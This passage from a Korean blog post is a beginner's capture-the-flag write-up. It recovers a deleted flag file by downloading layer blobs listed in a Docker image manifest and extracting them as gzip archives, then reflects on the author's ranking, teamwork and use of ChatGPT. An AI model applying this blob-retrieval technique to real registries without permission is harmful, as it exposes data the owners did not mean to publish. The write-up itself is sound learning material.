"v1Compatibility": "{\"id\":\"94d87d7e20a72f3b9093cd8c623461dd98995bf0d3d83a2af6cf81d68b8e5bdb\",\"comment\":\"debuerreotype 0.15\",\"created\":\"2025-01-13T00:00:00Z\",\"container\_config\":{\"Cmd\":[\"# debian.sh --arch 'arm64' out/ 'bookworm' '@1736726400'\"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "EYMR:GL3K:SEES:KR6Q:FQV7:W7GO:GJPS:ITID:N33Z:U4XD:BBWP:X2NH",
"kty": "EC",
"x": "fBjyFQk2-7MvBMhLN1UkuWjajZY0kl9hcwPB7FIw20Q",
"y": "hDTHShelufdCikq7mrG\_iTSKptZDxukAFy\_2IcpQnPc"
},
"alg": "ES256"
},
"signature": "KBKTON0dnwbw\_9ue1kS4DJUkuoJ7lJ8M7KTGPkVNoXreBWOm4Gkql5Xg4JpVb4wz6Js2csC882Jio6VtpJqCLg",
"protected": "eyJmb3JtYXRMZW5ndGgiOjMwODksImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyNS0wMi0wOVQxNjoyMTo1NVoifQ"
}
]
}
대충 이렇다..
뭔지는 모르겠지만 플래그 텍스트 파일을 생성해 내용을 쓰고 삭제한 흔적을 보여주는 것 같다
눈여겨 봐야 할 것은 blobSum
에 있는 sha256들이다
blobs/(sha256파일이름)
경로로 이동하면 sha256 파일이 다운로드된다
6개 전부 받아봤는데 그중 하나는 다운되지 않는다..
전부 헥스를 까봤더니 파일 시그니처가 1F 8B 08 00
으로 같다
gzip을 의미하는 것이니 확장자로 .gz
를 붙여보자
그중에서 한 압축 파일을 해제하면 플래그 텍스트 파일을 열 수 있고 플래그까지 얻을 수 있다
나같은 초보에게 적당한 문제들이 많아서 아주 마음에 드는 CTF 중 하나이다
작년에는 여기서 13솔브로 1990점 339등이었는데 올해는 17솔브로 100등 올려서 2983점 195등으로 마쳤다
CTFtime 보니까 레이팅 포인트도 있던데 높을수록 좋은 것 같다
2.675에서 6.522로 올렸다ㅎㅎ 기분 좋다
지금까지 CTF하면 솔플로만 다녔는데 이번엔 친구 한명 보안으로 꼬드겨서 같이 풀어봤다
덕분에 몇 문제 푸는데 도움주기도 하고 생각 못했던 부분도 말해줘서 팀의 중요성을 알게 되었다
다음엔 뭐 어떻게 팀이라도 찾아 기어들어가서 같이 CTF를 해볼까 하는 생각이다
작년 목표가 다음에는 100등 안에 들어보는 것이었는데 실패했다..
그도 그럴 것이 그 이후로 미련하게 반수를 했기 때문에 해킹 공부를 많이 하지는 못했다
아마 그냥 학교 열심히 다니면서 공부했으면 가능했을지도 모르겠지만 결과론이다
이제부터라도 열심히 해보도록하자
아주 조금씩 실력이 오르고 있는 것이 느껴진다
챗지피티를 많이 써서 풀었는데 과연 좋아해야할까 반성해야할까 고민을 해봤다
쉬운 문제만 풀었으니 챗지피티가 도움이 됐을 것이다
앞으로 어려운 문제에서 챗지피티의 도움을 얻기는 쉽지 않을 터이니 틈틈히 개발 공부도 같이 해줘야겠다..